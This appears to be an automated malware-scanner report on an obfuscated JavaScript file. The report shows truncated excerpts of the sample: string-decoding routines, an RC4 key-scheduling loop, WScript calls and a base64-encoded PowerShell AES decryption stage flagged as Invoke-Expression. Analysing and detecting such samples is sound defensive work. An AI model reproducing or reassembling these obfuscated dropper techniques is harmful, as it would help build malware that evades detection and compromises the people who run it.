Suspicious ^66% _unknown Download

53aca9b84d703c9ff6443e596e8f259d2b77c055675a37801705bcd4bf822436.js

WScript bracket-member access in source textSplit constructor string access

SHA-25653aca9b84d703c9ff6443e596e8f259d2b77c055675a37801705bcd4bf822436

MaleculeK(Li)O₄(As₉XePS)H₅(Cm₂Cr₂Db₈Os₂Po₂)Md₂

Evidence

Split constructor string access line 1

1var _0x4dfda4=(function(){var _0x1e8e97=_0x2bdb,_0x1ad825=_0x2bdb,_0x5378a5=_0x2bdb,_0x3e86b5={};_0x3e86b5[_0x1e8e97(0x155,'5nom')]=function(_0x309410,_0x14fc8b){return _0x309410+_0x14fc8b;},_0x3e86b5[_0x1e8e97(0x1,'hYh8')]=function(_0x326b9e,_0x5b6098){return _0x326b9e===_0x5b6098;},_0x3e86b5['isXCe']=_0x5378a5(0x22c,'sgYS');var _0x1a7323=_0x3e86b5,_0x3b4562=!![];return function(_0x35cf61,_0x2a1aeb){var _0x54f25e=_0x1e8e97,_0x14118e=_0x1e8e97,_0x35be58=_0x1e8e97,_0x417153=_0x1e8e97;if(_0x1a7323[_0x54f25e(0x34,'$tfK')](_0x1a7323[_0x54f25e(0x208,'ghs#')],_0x35be58(0x286,'TwqN'))){var _0x5b17ff=_0x3b4562?function(){if(_0x2a1aeb){var _0x3468b4=_0x2a1aeb['apply'](_0x35cf61,arguments);return _0x2a1aeb=null,_0x3468b4;}}:function(){};return _0x3b4562=![],_0x5b17ff;}else return _0x1a7323[_0x35be58(0x216,'MPKX')](_0x1885da,_0x121a6b);};}()),_0x17cb1d=_0x4dfda4(this,function(){var _0xecb60f=_0x2bdb,_0x37e0b4=_0x2bdb,_0xa3054e=_0x2bdb,_0xda0bd2=_0x2bdb,_0x5108a8=_0x2bdb,_0x328060={};_0x328060[_0xecb60f(0x2ad,'sk]W')]=_0x37e0b4(0x13b,'TWli')+'+$';var _0x28efad=_0x328060;return _0x17cb1d[_0x37e0b4(0x23b,'*LVu')]()[_0xa3054e(0x1b8,'$NKK')](_0x28efad['dNxSP'])['toString']()['constructo'+'r'](_0x17cb1d)[_0xda0bd2(0x1ce,'cBZt')]('(((.+)+)+)'+'+$');});_0x17cb1d();function _0x2d89(){var _0x520619=['gaJcVSoIWRreW5K','W6OgW7VdG8k9','D0u7d8k5','w8oRWRBcQSod','yKxdJuaE','W6NcMCoYW6tcNW','W7FcTJxcT2q','W5P+EmolWOO','r18UgSkD','rhn5W4Xi','W4yFW4hdQCkb','iSkIWPlcOfi','uL8nbCk1','W5y6WPWxWQ4','sCodW6ZcRSoc','WRNcIZ1sWQW','W7dcQJdcVu0','q8oBWPdcQmo7WPvM','bSkEkmkfWR4','WO5qWPugW4q','W5/cGY3cUxC','zePbW4z/','ESoJW4xdPXO','g3/cRSkPWOe','WPPoaCo3WQvtW4alcmkb','WRBdSSoVoCot','h3dcUSkAWOK','umo+W4ytW6q','EvpdU3m1','hvNcI8kUWOy/W6FdKIldTq','WPtcGd1zWPq','BCo0WQdcRmot','r8o3W5tdNcK7WP0d','W7tcJGxcKf8','WOVcTcnJWPu','BrTNWRlcSG','xLZdIxtcTa','WOFdK30mWPW','jSkwe8kNWRG','a8o9WOJcRmoDbKFdHMq','W5uuFmkIBW','b8osvedcJq','sersW4Pr','kf7dQSoPW7C','dSklcCkPWPO','dSoGAw7cOq','WQbFWPWvW5i','ksxcJmoCWPC','W6BcN …

RC4 KSA identity-fill loop line 1

1:11497… _0x4600aa=_0x4600aa-0x0;var _0x4dfda4=_0x2d89();var _0x2d89ad=_0x4dfda4[_0x4600aa];if(_0x2bdb['owduIZ']===undefined){var _0x2bdbce=function(_0x22089c){var _0x3655b7='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x35ab3e='',_0x5d34a9='',_0x2798ff=_0x35ab3e+_0x2bdbce,_0x4645d1=(''+function(){return 0x0;})['indexOf']('\x0a')!==-0x1;for(var _0x317628=0x0,_0x40ec08,_0x10d335,_0xc7dfe9=0x0;_0x10d335=_0x22089c['charAt'](_0xc7dfe9++);~_0x10d335&&(_0x40ec08=_0x317628%0x4?_0x40ec08*0x40+_0x10d335:_0x10d335,_0x317628++%0x4)?_0x35ab3e+=_0x4645d1||_0x2798ff['charCodeAt'](_0xc7dfe9+0xa)-0xa!==0x0?String['fromCharCode'](0xff&_0x40ec08>>(-0x2*_0x317628&0x6)):_0x317628:0x0){_0x10d335=_0x3655b7['indexOf'](_0x10d335);}for(var _0x42e821=0x0,_0x394785=_0x35ab3e['length'];_0x42e821<_0x394785;_0x42e821++){_0x5d34a9+='%'+('00'+_0x35ab3e['charCodeAt'](_0x42e821)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x5d34a9);};var _0x18353c=function(_0x371d9a,_0x475ce1){var _0xcc10ff=[],_0x146bea=0x0,_0x275ac7,_0x3b51d5='';_0x371d9a=_0x2bdbce(_0x371d9a);var _0x4f8156;for(_0x4f8156=0x0;_0x4f8156<0x100;_0x4f8156++){_0xcc10ff[_0x4f8156]=_0x4f8156;}for(_0x4f8156=0x0;_0x4f8156<0x100;_0x4f8156++){_0x146bea=(_0x146bea+_0xcc10ff[_0x4f8156]+_0x475ce1['charCodeAt'](_0x4f8156%_0x …

Assigns through a computed JavaScript member line 1

1:12804… length']))%0x100,_0x275ac7=_0xcc10ff[_0x4f8156],_0xcc10ff[_0x4f8156]=_0xcc10ff[_0x146bea],_0xcc10ff[_0x146bea]=_0x275ac7;}_0x4f8156=0x0,_0x146bea=0x0;for(var _0x469028=0x0;_0x469028<_0x371d9a['length'];_0x469028++){_0x4f8156=(_0x4f8156+0x1)%0x100,_ …

Encoded Invoke-Expression cmdlet line 1

1:24988… 8da7];return _0x3c03e0;}var _0x2e03b8=_0x4d07,_0x2bce98=_0x4d07,PayloadProcessor={'baseString':'DQojID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEFFUy0yNTYgRGVjcnlwdGlvbiBNb2R1bGUgKEFsdGVybmF0aXZlIFZlcnNpb24pDQojID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQoNCkZ1bmN0aW9uIENvbnZlcnRGcm9tLUJhc2U2NENsZWFuZWQgew0KICAgIHBhcmFtKFtzdHJpbmddJEJhc2U2NFN0cmluZykNCiAgICAkQ2xlYW5lZFN0cmluZyA9ICRCYXNlNjRTdHJpbmcgLXJlcGxhY2UgJ1tcclxuXScsICcnDQogICAgcmV0dXJuIFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJENsZWFuZWRTdHJpbmcpDQp9DQoNCkZ1bmN0aW9uIEludm9rZS1BZXNEZWNyeXB0aW9uIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW2J5dGVbXV0kRW5jcnlwdGVkQnl0ZXMsDQogICAgICAgIFtieXRlW11dJEtleSwNCiAgICAgICAgW2J5dGVbXV0kSVYNCiAgICApDQog …

WScript bracket-member access in source text line 1

1:1544521… dqlqc'],_0x1fd27a[_0x398c46(0x140,'dM#i')](_0x555ab9,0xd))](_0x43d7ef,_0x145215,_0x2e8a96),![];}WScript[_0x1fd27a[_0x3793a2(0x1ee,'WvnB')](_0x225afc,0x55)](0x64);}var _0x420331=_0x1de77a[_0x1fd27a['smCLv'](_0xeebd4f,0x60)](_0x50d3d6[_0x264b45(0xda,'0uJW')],0x0);try{if(_0x43d7ef[_0x1fd27a[_0x2c0f …